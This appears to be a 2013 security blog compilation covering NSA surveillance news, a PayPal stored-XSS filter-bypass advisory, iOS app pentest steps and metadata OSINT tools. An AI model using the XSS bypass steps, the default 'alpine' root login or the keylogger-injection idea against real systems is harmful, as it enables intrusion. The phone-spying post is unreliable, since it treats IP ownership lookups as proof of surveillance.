Application Aegis

How to See What Government Agency is Spying on Your Phone

2013-12-16T11:07:00.000+05:30

In our post-Snowden world, everyone almost accepts that some gov’t agency or another will be scanning their phone calls and data transmissions. Most people just accept this, and hope for that it’s not really happening.

Here’s a way to check, and see for yourself (instructional video below).

When blogger Alex Heid performed this simple check from his location in the United States, he quickly discovered that his phone was being routed through a British Ministry of Defence, most likely being analysed by GCHQ. Alex was using a pre-paid mobile/cell phone carrier.

Phone companies do not seem to be bothered at all about this. According to officials, because no ID is required upon purchase, then pre-paid mobile/cell phone users should have “no expectation of privacy”. Call your carrier and ask them for yourself. If you are on a contract phone, you can also do this same diagnostic and check who’s watching you.

To any customers who might challenge the phone companies on this, the party line they give you will be: “Nothing to fear. We are rerouting your traffic using ‘unused bandwith’ – like the DOD, or the Ministry of Defence – all to improve your user experience”. Of course they are.

Hat tip to Susan Duclos for this post…

WereAreChange‘s Luke Rudkowski is joined by Alex Heid of HackMiami and FederalJack, who is a security consultant, to inform everyone how to determine what government agency is spying on your cell phones’ unique IP address. Amazingly, using his own Android phone, going through his settings and status he finds out who his phone is “talking to,” so to speak and looks it up to determine his phone is talking to DINSO, Ministry of Defence in the United Kingdom. Watch, learn, and use the knowledge to be aware of who is spying on your cell phone…

One reader, Walter, tested out this procedure himself, and quickly reported that, “SPRINT routing me through:

DoD Network Information Center
Org ID: DNIC
Address: 3990 E. Broad Street
City: Columbus
State: OH
Postal Code: 43218
Country: US

Filter Bypass & Persistent Vulnerability in PayPal

2013-09-20T18:54:00.000+05:30

The Vulnerability Laboratory Research Team discovered a filter bypass & persistent web vulnerability

in the official PayPal Inc Core Application API.

An input filter bypass & persistent script code inject vulnerability is detected in the official PayPal Inc Core Application API.

Filter bypass vulnerability allows evading the basic filter validation of a vulnerable application api module.

A persistent script code inject web vulnerability allows remote attackers to inject script code on the application-side of the affected module.

There is a feature in Paypal that allows its users to set up custom message for their online customers. Paypal Users can customize this message so their online customers can automatically get relevant information if they

file a dispute in the Resolution Center.

People who will get this message are usually the ones that either bought an item from a user online but said it didn`t arrive, AND OR tried to file a dispute in the Resolution Center for items not received or significantly

not as described.

It was initially noticed that there is an input box for customer description with character limitation of 1000

alphabets. The researcher ran some manual probes and noticed that all payloads were being filtered however only when entered on the very first line. Current filters can be bypassed easily If an attacker skips the first

line and injects his payloads onto the 2`nd line. Once the input filters are bypassed, an attacker can easily

inject malicious script code which gets executed successfully. The bugs allow remote attackers to

implement/inject malicious script code on the application side persistent) of the paypal web service.

The persistent vulnerability is located in the `Your customer service message` Module of the `My Selling

Tools`Section in `My Profile` Settings menu.

The vulnerability can be exploited by remote attackers with low required user interaction and low privilege

paypal application user account.

Successful exploitation of the vulnerability can lead to session hijacking (customers), account steal via

persistent web attack or stable (persistent)

Context manipulation and client side redirects to external domains hosting malware.

Proof of Concept:

=================

The vulnerability can be exploited by remote with low privilege paypal application user account and low

required user interaction.

1. Login to a Paypal Account, Goto 'More' and click on "Settings"

2. Under the 'My Profile' section, click on "My Selling Tools"

3. On the next page, search for "Customer service message" and click "Update"

4. Scroll down to the "Your Customer service message" section, click your mouse once in the input box.

5. To bypass the current security filters, press enter twice so your cursor is on the 'Second' line

5. Enter the PoC Payload and click on Preview

6. You should now be able to see a java-script alert box proving the existence of this vulnerability

Payload: >"<>"followed by ant script.

XKeyscore: NSA tool sees 'nearly everything we do online'

2013-08-02T22:00:00.000+05:30

• XKeyscore gives 'widest-reaching' collection of online data

• NSA analysts require no prior authorization for searches

• Sweeps up emails, social media activity and browsing history

• NSA's XKeyscore program – read one of the presentations

The only thing US surveillance needs to read the contents of your email, with no prior authorization whatsoever, is your email address.

The only thing US surveillance needs to read your private Facebook chat or private messages is your user name and a date range.

In fact, according to newly revealed documents given to The Guardian by Edward Snowden,one program, called XKeyscore, enables the National Security Agency (NSA) to see “nearly everything a user does on the internet”.

Senior US intelligence officials testified to the Senate judiciary committee amidst the raging debate over mass surveillance.

The files shed light on one of Snowden's most controversial statements, made in his first video interview published by the Guardian on June 10.

"I, sitting at my desk," said Snowden could "wiretap anyone, from you or your accountant, to a federal judge or even the president, if I had a personal email".

US officials vehemently denied this specific claim. Mike Rogers, the Republican chairman of the House intelligence committee, said of Snowden's assertion: "He's lying. It's impossible for him to do what he was saying he could do."

But training materials for XKeyscore detail how analysts can use it and other systems to mine enormous agency databases by filling in a simple on-screen form giving only a broad justification for the search. The request is not reviewed by a court or any NSA personnel before it is processed.

One training slide illustrates the digital activity constantly being collected by XKeyscore and the analyst's ability to query the databases at any time.

The purpose of XKeyscore is to allow analysts to search the metadata as well as the content of emails and other internet activity, such as browser history, even when there is no known email account (a "selector" in NSAparlance) associated with the individual being targeted.

Analysts can also search by name, telephone number, IP address, keywords, the language in which the internet activity was conducted or the type of browser used.

Email monitoring

One top-secret document describes how the program "searches within bodies of emails, webpages and documents", including the "To, From, CC, BCC lines" and the 'Contact Us' pages on websites".

To search for emails, an analyst using XKS enters the individual's email address into a simple online search form, along with the "justification" for the search and the time period for which the emails are sought.

One document, a top secret 2010 guide describing the training received by NSA analysts for general surveillance under the Fisa Amendments Act of 2008, explains that analysts can begin surveillance on anyone by clicking a few simple pull-down menus designed to provide both legal and targeting justifications. Once options on the pull-down menus are selected, their target is marked for electronic surveillance and the analyst is able to review the content of their communications:

Chats, browsing history and other internet activity

Beyond emails, the XKeyscore system allows analysts to monitor a virtually unlimited array of other internet activities, including those within social media.

An NSA tool called DNI Presenter, used to read the content of stored emails, also enables an analyst using XKeyscore to read the content of Facebook chats or private messages.

An analyst can monitor such Facebook chats by entering the Facebook user name and a date range into a simple search screen.

Analysts can search for internet browsing activities using a wide range of information, including search terms entered by the user or the websites viewed.

As one slide indicates, the ability to search HTTP activity by keyword permits the analyst access to what the NSA calls "nearly everything a typical user does on the internet".

The XKeyscore program also allows an analyst to learn the IP addresses of every person who visits any website the analyst specifies.

The XKeyscore system is continuously collecting so much internet data that it can be stored only for short periods of time. Content remains on the system for only three to five days, while metadata is stored for 30 days. One document explains: "At some sites, the amount of data we receive per day (20+ terabytes) can only be stored for as little as 24 hours."

To solve this problem, the NSA has created a multi-tiered system that allows analysts to store "interesting" content in other databases, such as one named Pinwale which can store material for up to five years.

It is the databases of XKeyscore, one document shows, that now contain the greatest amount of communications data collected by the NSA.

The NSA, for its part, has put out an unsurprisingly "nothing to see here, folks" press release about XKeyscore.

Some commenters are deeming Snowden hyperbolic.

Others have put out a potentially helpful guide (or opinionated spin, depending on your take) to translating the NSA's legalistic declarations.

NSA Files (Raw Documents + Whistleblower Edward Snowden Video)

2013-06-23T20:58:00.000+05:30

TOP SECRET COURT ORDER REQUIRING VERIZON TO HAND OVER ALL CALL DATA TO NSA (Story/Guardian)

TOP SECRET NSA PRISM PROGRAM CLAIMS DIRECT ACCESS TO SERVERS OF FIRMS INCLUDING GOOGLE, APPLE AND FACEBOOK (Story/WashingtonPost/Guardian)

TOP SECRET OBAMA PRESIDENTIAL DIRECTIVE STEPS UP OFFENSIVE CYBER CAPABILITIES TO “ADVANCE US OBJECTIVES AROUND THE WORLD” (Story/Guardian)

3-PAGE BOUNDLESS INFORMANT EXPLANATION DOCUMENT, WHICH SHOWS THE NSA COLLECTED ALMOST 3 BILLION PIECES OF INTELLIGENCE FROM US COMPUTER NETWORKS OVER A 30-DAY PERIOD ENDING IN MARCH (Story/Guardian)

TOP SECRET NSA BOUNDLESS INFORMANT TOOL DETAILS AND MAPS BY COUNTRY THE VOLUMINOUS AMOUNT OF INFORMATION IT COLLECTS FROM COMPUTER AND TELEPHONE NETWORKS (Story/Guardian)

EXTRACTS FROM LEAKED TOP SECRET GCHQ DOCUMENT DESCRIBING AGENCY’S “RECENT SUCCESSES” SPYING ON FOREIGN POLITICIANS AT G20 SUMMITS (Story/Guardian)

EDWARD SNOWDEN, THE SOURCE BEHIND THE GUARDIAN’S NSA FILES, TALKS TO GLENN GREENWALD IN HONG KONG ABOUT HIS MOTIVES FOR THE BIGGEST INTELLIGENCE LEAK IN A GENERATION (Story/Guardian)

Facebook issues data breach notification - may have leaked your email and phone number

2013-06-23T20:19:00.000+05:30

Facebook just published a data breach notification on its security blog.

You might not immediately notice that from the title of the article, which announces itself as an "Important Message from Facebook's White Hat Program."

But the social networking giant is, indeed, reporting a data leakage problem.

The silver lining is that the quantity of data wrongly disclosed due to Facebook's bug seems to be modest, at least by the standards of a billion-user service.

The cloud (bad pun intended) is that Facebook's systems made the fault possible in the first place.

What happened?

Facebook, understandably, isn't giving the gory details of the bug and how it could have been exploited, which makes the big picture hard to see.

What it is saying, is this:

Sharing contact lists

Imagine that Charlie Smith - one of thousands of people with that name - is on Facebook.

He's chosen to tell Facebook his email address, chazza@example.org, but not much more. He hasn't shared where he lives, the name of his employer or his phone number.

Alice joins up and decides to let Facebook at her contact lists. (Facebook squeezes you pretty hard to try to persuade you to upload as much as possible about your web of friends, for reasons that will become obvious in a moment.)

She knows a Charlie Smith; her Charles has a phone number of +1.500.555.5000, and an email address of chazza@example.org.

Facebook can now cross-match the email address and suggest that she might want to try to hook up with Charlie.

Chances are, of all the C. Smiths on Facebook, this is the one she knows.

She sends a Friend Request; it was the right Charlie, and he accepts it.

So far, so good.

Later, Bob comes along.

His contact list, which he yields up to the Facebook empire, identifies achazza@example.org, known as Charlie Smith, currently living in Someplace, Pennsylvania, and working for the Acme Pointed Stick company.

Facebook likewise puts Bob in touch with Charlie, and thus indirectly with Alice, and the three of them end up as Facebook friends.

Alice is happy; Bob is happy; and, since he agreed to the Friend Requests, we assume Charlie is happy too.

Easy as A-B-C.

Mining your contact data

Of course, Facebook is the happiest of all, because it now knows (or can make a staggeringly likely guess at) a bunch of personal information about Charlie that he himself chose not to reveal.

Of course, as more people share more information about their contacts, and implicitly confirm the identity of those contacts through the Facebook friendships they forge, Facebook builds up an ever more detailed picture of everyone.

Welcome to the wonderful world of data mining.

You don't have to like this sort of thing, but there's not a lot you can do about it.

Even staying away from sites like Facebook, or "resigning" from them if you're already on, might not help very much.

After all, in our hypothetical example above, Charlie Smith only gave his name and email address; his address, employer and phone number were provided by other people, presumably with their informed consent.

Data leakage

What Facebook seems to be admitting to, in Friday's breach notification message, is that it was careless with the aggregated data accumulated from contact list uploads.

The problem, says Facebook, lay in its Download Your Information (DYI) feature, which exists so you can suck down everything you've previously entrusted to the social networking giant.

Ironically, DYI itself is an important security component of Facebook, because it helps to deal with two serious concerns about cloud-style services:

· DYI improves availability, because it allows you to make your own off-site backup of everything you've stored on Facebook.

· DYI improves transparency, because it acts as a record of everything you've uploaded to Facebook over the years.

But there was a bug in DYI, of the data leakage/unauthorized disclosure sort.

Apparently, DYI was capable of letting you download more than you'd uploaded in the first place.

Using our example above, Bob might have ended up receiving Alice's contact data about Charlie, as well as his own, when he hit the DYI button.

In other words, Bob wouldn't just get back Charlie's address and workplace, which is what he himself uploaded, but might also have ended up with Charlie's phone number, courtesy of Alice.

That's not good at all.

It's especially bad for Charlie, who not only didn't open up his phone number to his Facebook friends, but chose not to upload it in the first place.

What to do?

Facebook chose to release its statement about this breach on Friday evening, which has already raised the eyebrows of former Naked Security denizen Graham Cluley.

Friday nights, he argues, is the traditional time for burying the sort of announcements you make of necessity rather than by choice.

You can see why Facebook might want this to be a weekend story: there's a chance that it might cause some companies to rethink their "Facebook at Work" strategies, and go back to the old days where Facebook was blocked outright.

That would put a dent in Facebook's daytime traffic, for sure.

After all, if someone shares their contact list while they're at work, they might end up sharing a whole lot more, about many more people, than they really intended.

And Facebook just admitted that, somewhere in its cloud, was a bug that prevented it from taking proper care of that data.

The outcome

Facebook turned off DYI once the bug was disclosed, fixed it, turned DYI back on again, and published its data breach notification.

Even if you take a cynical view of the timing and the title of the notification, I think you should be happy about some aspects of this cautionary tale:

· Respect to the finder of the bug for disclosing it responsibly to Facebook so it could be fixed, even though he'd probably have got a lot more publicity if he'd told the world first.

· Thanks to Facebook for having a bug bounty programme so that the finder gets some sort of reward for doing the right thing.

· Well done to Facebook for taking the bug report seriously and fixing the problem.

· Congratulations to those jurisdictions that have passed strong data breach notification laws, so that this sort of problem can't just be swept under the carpet.

· Huzzah to those of you who take the stance of not sharing contact lists with social networking sites, on the principle that "if you don't share it, they can't lose it."

iOS Personal Hotspot Password Cracked

2013-06-23T13:13:00.000+05:30

Security experts at the University of Erlangen-Nuremburg have identified a security issue in iOS's Personal Hotspot feature. The feature, also known as tethering, allows a phone to be used as a hotspot for other devices. A paper from Andreas Kurtz, Felix Freiling and Daniel Metz describes vulnerabilities they discovered in the feature.

They note that the WPA2 encryption used by default for the Wi-Fi connection is in principle secure, but that this security depends on the encryption password, the pre-shared key, used. If the smartphone operating system issues an insecure default password for Wi-Fi hotspots and users do not modify it to a secure password then, despite a strong encryption algorithm, unauthorized users can gain access to internet sharing on an iPhone or iPad in a matter of seconds.

According to the report, iOS selects an easily remembered password from a list of just 1842 words and supplements this with four random digits. This would theoretically gives rise to around 18.4 million possible combinations, but iOS's algorithm for selecting a word from its dictionary is sloppy and it chooses certain words (e.g. suave, subbed, headed, head and header) with increased frequency. Closer analysis reveals that all 1842 words are to be found in a Scrabble dictionary.

Although the number of possible combinations may at first glance appear large, the paper vividly demonstrates how a single modern graphics card is able to determine the complete password (by simply trying out each word in the order of its probability of occurrence) within just 52 seconds. Windows Phone, on the other hand, gets by without a dictionary and simply selects eight random digits, giving 100 million combinations, requiring a theoretical average of five minutes to crack. Android generates strong passwords, but some modified Android systems, such as HTC devices, are equipped with default passwords such as 1234567890.

To illustrate the security vulnerability, the authors have also released an app, in the form of an Xcode project file, which shows how quickly the password used by an iPhone can be cracked using an optimized dictionary and a cluster of several fast graphics cards.

A future version of the app may enable users to eavesdrop on traffic from other hotspot connections or crack the password. The modest computing power offered by smartphones means that such an attack would take a little longer than the 52 seconds mentioned above, but CPU intensive work could also be outsourced to the cloud, allowing shorter computation times.

To avoid weaknesses in "random passwords", users should therefore always choose a secure password for themselves rather than rely on the password provided by the operating system.

Windows zero day vulnerability publicly exposed by Google engineer Tavis Ormandy

2013-05-24T22:01:00.000+05:30

A Google security expert who has clashed with Microsoft in the past over how it discloses Windows security flaws is at it again.

Tavis Ormandy, an information security engineer at Google, has found what he's calling "a pretty obvious bug" in Windows 7 and Windows 8.

On Monday, Ormandy posted detailed information about it to Full Disclosure, a mailing list for security experts. That could be used to crash PCs or gain additional access rights. The issue is less critical than other flaws as it's not a remotely exploitable one.

Ormandy said on Full Disclosure, "I don't have much free time to work on silly Microsoft code, so I'm looking for ideas on how to fix the final obstacle for exploitation.

Ormandy said he's written code that hackers could use to take advantage of the Windows flaw—known in security circles as a "working exploit".

He isn't releasing it to the public, but is making it "available on request to students from reputable schools." This means other security researchers, not college students.

Ormandy first published details about the Windows bug on Github, a site that lets developers collaborate on projects, in March. But he hasn't said whether he's reached out to Microsoft, which is standard procedure in these situations.

Microsoft says it's aware of Ormandy's latest Windows flaw and is investigating.

"We have not detected any attacks against this issue, but will take appropriate action to protect our customers," Dustin Childs, a group manager in Microsoft's Trustworthy Computing unit, told Business Insider in an email.

We've reached out to Ormandy to see if he contacted Microsoft before his May 17 post to the Full Disclosure list. We've also reached out to Google for comment.

As Windows security flaws go, this isn't a major one because hackers can't use it to take control of machines over an Internet connection. Still, because so many people use Windows, Microsoft will probably fix this bug soon.

Security researchers usually contact the vendor first before they talk publicly about a bug they've found. But Ormandy and Microsoft have a rocky history.

In 2010, Ormandy discovered a previously unknown bug in Windows XP's Help and Support Center, and posted a working exploit to the web five days after telling Microsoft about it.

Hackers quickly figured out how to use it, and began attacking Windows XP PCs.

Microsoft, which released an emergency fix for the bug, wasn't pleased. This sparked a big IT industry debate about how long researchers should wait after informing a vendor about a security flaw before going public with it.

Ormandy, in a post to his personal blog last week, warned security researchers that Microsoft typically reacts to bug reports with "great hostility" and is "very difficult" to work with. They should only submit reports anonymously, he said.

Login form posts to HTTPS, Unsecure when you loaded it over HTTP

2013-05-21T15:52:00.000+05:30

Troy Hunt an Software architect and Microsoft MVP has published and explained how Your login form posts to HTTPS, is unsecure when you loaded it over HTTP.

Loading login forms over HTTP renders any downstream transport layer security almost entirely useless.

Demo Video:

What people forget about SSL is that it’s not about encryption. SSL is about establishing a degree of trust in a site’s legitimacy that’s sufficient for you to confidently transmit and receive data with the knowledge that it’s reaching its intended destination without being intercepted or manipulated in the process. Well that’s one feature of secure sockets; another really essential one is integrity insofar as it gives us confidence that the website content hasn’t been manipulated. Anything you load over an HTTP connection can be easily changed by a man in the middle which is why it’s absolutely essential to load those login forms over a secure connection. OWASP is very specific about this in part 9 of their Top 10 web application security risks and summarize it well in the transport layer protection cheat sheet:

“The initial login page, referred to as the "login landing page", must be served over TLS. Failure to utilize TLS for the login landing page allows an attacker to modify the login form action, causing the user's credentials to be posted to an arbitrary location.”

It’s extremely common and you’ll see it on GoDaddy, Pandora, Financial Times etc.

All these sites load the login forms over HTTP and post to HTTPS. Why aren’t they implementing SSL correctly? Most likely convenience; customers can login direct from the homepage and they can have it delivered over HTTP.

So how should it be done? Load the login form over HTTPS, either by linking to a dedicated login page or popping it up in a separate window (although there’s a UX argument against this). Even better, just load the whole site over HTTPS! Yes, there are some barriers to HTTPS across the board (managing certs in web farms, dependencies on assets from third parties, impact on CDNs, etc.) but it sure solves the login form issue. Check out Netflix’s approach – straight into HTTPS, job done!

As for how the exploit in the video works, it’s just a simple Fiddler script to inject the key logger before the body tag closes off. The key logger itself is over on Google Code, the only code which troy hunt wrote to incorporate it was the script tags you saw at the end of the video and the “Hack Yourself” website which receives the logged keys. It really is that simple.

Whilst Fiddler is good for demonstration purposes, clearly an actual weaponised attack would work differently but the principle is the same: When unencrypted traffic passes through a node on the network – NIC, Ethernet cable, router, proxy, ISP, etc. – it may be observed or manipulated by an attacker. This isn’t theoretical; there are many precedents such as the Tunisian government harvesting Facebook credentials en mass.

This is all a bit odd really, I mean these sites have gone to the effort of implementing some SSL but then blown it by loading those login forms over HTTP. As we saw with Woolworths, posting over a secure connection is completely useless if there’s no integrity in the login form itself, an attacker may already have the credentials by then if the connection is compromised which is the very risk they all implemented SSL to protect from in the first place!

iPhone Applications Penetration Testing continued ...

2013-05-19T16:32:00.002+05:30

SQLite storage:

SQLite is a cross-platform C library that implements a self-contained, embeddable, zero-configuration SQL database engine. The SQLite database does not need a separate server process and the complete database with multiple tables, triggers, and views is contained in a single disk file. The SQLite database offers all the standard SQL constructs, including Select, Insert, Update and Delete. As SQLite is portable, reliable and small, it is an excellent solution for persistent data storage on iOS devices.

SQLite library that comes with iOS is a lightweight and powerful relational database engine that can be easily embedded into an application. The library provides fast access to the database records. As the complete database is operated as a single flat file, applications can create local database files, and manage the tables and records very easily. In general, iOS applications use the SQLite database to store large and complex data as it offers good memory usage and speed. The SQLite database that comes with iOS does not have a built-in support for encryption. Most of the iOS applications store lots of sensitive data in plain text format in SQLite files. For example, to provide offline email access, Gmail iOS application stores all the emails in a SQLite database file in plain text format.

Unencrypted sensitive information stored in a SQLite file can be stolen easily by gaining physical access to the device or from the device backup. In addition, if an entry is deleted, SQLite tags the records as deleted but not purge them. Therefore, in case an application temporarily stores and removes the sensitive data from a SQLite file, deleted data can be recovered easily by reading the SQLite Write Ahead Log.

The SQLite files can be created with or without any file extension. Most common extensions are .sqlitedb and .db. The below article explains how to view SQLite files and how to recover the deleted data from SQLite files on the iPhone.

Steps to view CardInfo (Demo iOS Application) SQLite files:

1. On the Jailbroken iPhone, install OpenSSH and Sqlite3 from Cydia.

2. On Windows workstation, download Putty.

3. Connect the iPhone and the workstation to the same Wi-Fi network.

Note: Wi-Fi is required to connect the iPhone over SSH. If the Wi-Fi connection is not available: SSH into the iPhone over USB.

4. Run Putty and SSH into the iPhone by typing the iPhone IP address, root as username and alpine as password.

5. Navigate to /var/mobile/Applications/ folder and identify the CardInfo application directory using‘find . –name CardInfo’ command. On my iPhone CardInfo application is installed on the – /var/mobile/Application/B02A125C-B97E-4207-911B-C136B1A08687/ directory.

6. Navigate to the /var/mobile/Application/B02A125C-B97E-4207-911B-C136B1A08687/CardInfo.app directory and notice CARDDATABASE.sqlite3 database file.

7. Using the sqlite3 command, view the CARDDATABASE.sqlite3 and notice that CARDINFO table is empty. Note: SQLite files can also be copied from the iPhone to a workstation over SSH and viewed using SQLite data browser and SQLite spy tools.

8. Using the sqlite3 command, view the CARDDATABASE.sqlite3 and notice that CARDINFO table is empty. Note: SQLite files can also be copied from the iPhone to a workstation over SSH and viewed using SQLite data browser and SQLite spy tools.

Steps to recover the deleted data from CardInfo SQLite file:

The SQLite database engine writes the data into Write Ahead Log before storing it in the actual database file, to recover from system failures. Upon every checkpoint or commit, the data in the WAL is written into the database file. So, if an entry is deleted from the SQLite database and there is no immediate commit query, we can easily recover the deleted data by reading the WAL. In case of iOS, the strings command can be used to print the deleted data from a SQLite file. In our case, running ‘strings CARDDATABASE.sqlite3′ command prints the deleted card details.

In iOS, if an application uses the SQLite database for temporary storage, there is always a possibility to recover the deleted temporary data from the database file.

For better security, use custom encryption while storing sensitive data in the SQLite database. Also, before deleting a SQLite record, overwrite that entry with junk data. Even if someone tries to recover the deleted data from the SQLite file, they will not get the actual data. Use iOS data protection constants while creating the SQLite files.

Cookies.binarycookies

Most of the iOS applications do not want to prompt the user for login every time. So, they create persistent cookies and store them in cookies.binarycookies file on the application’s home directory. During the penetration test, investigate the cookies.binarycookies file for sensitive information, and to find session management issues. Cookies.binarycookies is a binary file and the content is not in readable format. Therefore, I wrote a python script BinaryCookieReader.py that can read the cookie file and display the content on the screen.

Steps to read the Cookies.binarycookies:

1. On Windows, download WinScp, Python and BinaryCookieReader.py.

2. Connect the iPhone and the workstation to the same Wi-Fi network.

3. Run WinScp and SSH into the iPhone by typing the iPhone IP address, root as username and alpine as password.

4. Navigate to the Library/Cookies folder in the application’s home directory.

5. Copy the Cookies.binarycookies file to the Windows machine by dragging it.

6. On Windows, open command prompt and run the following command to list the contents of cookies.binarycookies file:

Python BinaryCookieReader.py [Cookies.binarycookies file path]

Below is the screenshot of cookies created by Facebook iOS Application.

Keyboard Cache

In an effort to learn how users type, iOS devices utilize a feature called Auto Correction to populate a local keyboard cache on the device. The keyboard cache is designed to autocomplete the predictive common words. The problem with this feature is, it records everything that a user types in text fields. The cache keeps a list of approximately 600 words. The keyboard cache is located at Library/Keyboard/en_GB-dynamic-text.dat file. To view the Keyboard cache, copy the en_GB-dynamic-text.dat file to a computer over SSH and open the file using a Hex Editor. Below is the screenshot of a keyboard cache Hex view.

The keyboard cache does not store the information typed in the fields that are marked as secure. By default, passwords and strings with all digits (pins and credit cards) are marked as secure. Hence, the data typed in those fields does not store in the keyboard cache. However, data typed in other text fields like username, security questions and answers might get stored in the keyboard cache. During a pentest clear the existing keyboard cache by navigating to iPhone Settings -> General -> Reset -> Reset Keyboard Dictionary (shown in the below image), then browse the application and enter data in text fields and analyze whether the data is getting stored in the keyboard cache or not.

During the application development, to disable auto complete for a text field, either mark it as secure (ex: mytextField.secureTextEntry = YES) or disable the autocomplete (mytextField.autocorrectionType = UITextAutocorrectionTypeNo;).

Along with the keyboard cache, when a user copies data from a text field, iOS stores the data into a pasteboard (clipboard in other operating systems). The pasteboard is shared among all the applications, so the information copied in one application can be accessed from other applications by reading the pasteboard. If the application is dealing with sensitive data, it is recommended to use a private or an application-specific pasteboard.

Snapshot Storage

Pressing the iPhone home button shrinks the iOS application and moves it to the background with a nice effect. To create that shrinking effect, iOS takes a screenshot of the application and stores it in the Library/Caches/Snapshots folder in the respective application’s home directory. This might result in storing the user’s sensitive information on the device without user’s knowledge. Snapshots stored on the iPhone will automatically clear after the device is rebooted.

Ex: In case of Gmail iOS application, when a user press the iPhone home button after viewing the email, a snapshot of users’ email gets stored on the device without user’s knowledge. Below snapshot is captured after viewing a mail from the Citibank.

During development, the application snapshot problem can be fixed in two ways.

1. Remove sensitive data or change the screen to blank before the applicationDidEnterBackground() function returns.

2. Instead of hiding or removing sensitive data, application’s backgrounding can be disabled altogether by setting the “Application does not run in background” property in the application’s Info.plist file.

File Cache

Along with plist files, SQLite files, binary cookies and snapshots, iOS applications can store other format files like pdf, xls, txt, etc. when viewed from the application. For example, in the Yandex.Mail iPhone application, when a user views an attachment, it gets stored on the device and remains on the device even after user logged out from the mail application. Applications that are storing temp files on the device should clear those files upon logout/close for better security. Below is the screenshot of Yandex.Mail attachment directory.

Error Logs

In general, iOS applications write data into logs for diagnostic and troubleshooting purpose. In addition, during development, applications developers commonly use NSLog for debugging purposes. These logs might include requests, responses, cookies, authentication tokens and other sensitive data. On the iPhone, data passed to the NSLog function is logged by Apple System Log (ASL) and the data remains on the log until the device is rebooted. Also, Error logs are not bounded by the application sandbox. Which means error logs generated by one application can be read by other applications. Therefore, if an application logs sensitive data, a malicious application can actively query for this data and send it to a remote server.

Error logs on the iPhone can be viewed directly using Console app. The Console app is available in the AppStore. Error logs can also be viewed using iPhone configuration utility or by syncing the device with iTunes and looking at CrashReporter folder.

Steps to view the error logs:

1. On Windows, install and open the iPhone Configuration Utility.

2. Connect the iPhone to the Windows machine using USB cable. Notice that the connected device is listed in the iPhone configuration utility. Select the device and navigate to Console tab.

3. On the iPhone, open CardInfo application and login (works for any username and password).

4. Enter credit card details and click on Save button. In the background, it logs the card details.

5. On the iPhone configuration utility console tab, you can notice the card details logged by the CardInfoDemo application.

For better security, do not log sensitive data. Also, remove debugging and troubleshooting logs from the application before publishing it.

The Hidden Treasure: Metadata

2013-05-19T15:19:00.000+05:30

In today’s Information age, Data is very crucial for every organization. From Information security point of view also data is what everybody is behind, be it the Hacker or the Pentester. Data loss for any organization can have a very negative impact financially as well as reputation wise. Generally organizations are aware of the information they are revealing through different online mediums, but what about the data that is being exposed without the knowledge of the organization and which could be crucial from security perspective.

Metadata: Simple data can be described as raw values which need to be processed for the purpose of generating information and deriving knowledge. Meta data is commonly described as ‘data about data’; however this definition is not complete and does not covers all properties of metadata. A better definition as described by Wikipedia (http://en.wikipedia.org/wiki/Metadata) is as following.

Metadata (metacontent) is defined as data providing information about one or more aspects of the data, such as:

· Means of creation of the data

· Purpose of the data

· Time and date of creation

· Creator or author of data

· Location on a computer network where the data was created

· Standards used

Metadata has been utilized for various purposes from cataloging archives, data virtualization to SEO (Search Engine Optimization) for web sites. All this metadata is put up intentionally by the owner for the purpose of better and easy management of information;

OSINT (Open Source Intelligence): Open Source Intelligence implicates finding, selecting and procuring information from the sources which are publicly available. This information can be exploited to harvest acumen based on which critical decisions can be taken. Open source intelligence can be collected from variety of sources such as Newspapers; Web based content; Public documents etc. From Cyber security point of view it is mostly the web based content that is the main source of open source intelligence. The advantage of open source intelligence is that it is present in the public domain and hence it is easy to access. It is a very crucial part of the information gathering phase of security testing.

Exif Tool: Exit tool is a software application which can read, write and edit metadata in an extensive variety of files. It is a platform-independent Perl library and also available as a command-line application. The Tool supports many different metadata formats which include EXIF, GPS, IPTC, XMP, JFIF, GeoTIFF, Photoshop IRB, FlashPix, ID3 etc. as well as the manufacturer specific notes of many digital cameras. The list of supported file types is very extensive and can be found on http://www.sno.phy.queensu.ca/~phil/exiftool/.The download link of the tool is http://www.sno.phy.queensu.ca/~phil/exiftool/exiftool-8.92.zip. An online version of the tool is also available at http://regex.info/exif.cgi. Below figure shows the exif tool interface. The output of the Exif tool is demonstrated in next figure. It demonstrates the metadata extracted from an image file.

FOCA: FOCA means seal in Spanish language. FOCA or Fingerprinting Organizations with Collected Archives is a tool to discover files on target website and extract metadata from it. FOCA is a Windows based tool for the metadata extraction. Unlike previous tools it provides GUI for easy usage. It uses search engine for the purpose of discovering files and extracts metadata which can be utilized for the forthcoming steps of pen testing. There also exists an online version of the application, which can be found at http://www.informatica64.com/foca/. The new features in the latest version (i.e. 3.0.2) as described on the official website are as follows (http://www.informatica64.com/foca.aspx):

· New Interface

· Panel multithreaded tasks.

· Search proxy service.

· Search for services registered in the DNS

· Search and analysis of ICA and RDP files.

· Search for proxies

· Leakage analysis (based on output errors).

· Search for domains with anti-spam policy.

· Search DS_Store files in each folder.

· URL Search in files “robots.txt”

· Autosave project, among others.

Below figure shows the home screen of the application. User need to input project name and the domain that need to be parsed for the discovery and extraction of metadata.

Above figure shows the list of the files found on the domain specified by the user. FOCA utilizes different search engines for the purpose of discovering the list of files. After discovering the list, the user needs to download the file(s) so that the metadata can be extracted from them. Below figure displays the extracted metadata from the files downloaded.

Mitigation

As we have seen that how much critical information is revealed through the documents and files uploaded without us realizing it. The solution to this problem is DLP or Data Loss Prevention tools. Some of these tools are as following:

MetaShield Protector: MetaShield Protector is a solution which helps to prevent data loss through office documents published on the web site. It is installed and integrated at Web Server level of the web site. On a request for any document, it cleans it on the fly and then delivers it. MetaShield Protector can be found at http://www.metashieldprotector.com/.

MAT: MAT or Metadata Anonymisation Toolkit presents a solution for the purpose of metadata removal. It is developed in Python and utilizes Hachoir library for the purpose. Formats supported by the toolkit as listed on the official website (https://mat.boum.org/):

· Portable Network Graphics (.png)

· JPEG (.jpg, .jpeg, …)

· Open Documents (.odt, .odx, .ods, …)

· Office OpenXml (.docx, .pptx, .xlsx, …)

· Portable Document Fileformat (.pdf)

· Tape ARchives (.tar, .tar.bz2, .tar.gz, …)

· Zip (.zip)

· MPEG AUdio (.mp3, .mp2, .mp1, …)

· Ogg Vorbis (.ogg, …)

· Free Lossless Audio Codec (.flac)

· Torrent (.torrent)

MyDLP: A free data leakage prevention solution with multi-site configuration. It provides a comprehensive open source DLP solution. MyDLP is available under GPL license. The community and the enterprise version of the solution are hosted at http://www.mydlp.com/products.

OpenDLP: A complete DLP suite with centralized web frontend for the purpose of management. OpenDLP is hosted at https://code.google.com/p/opendlp/.

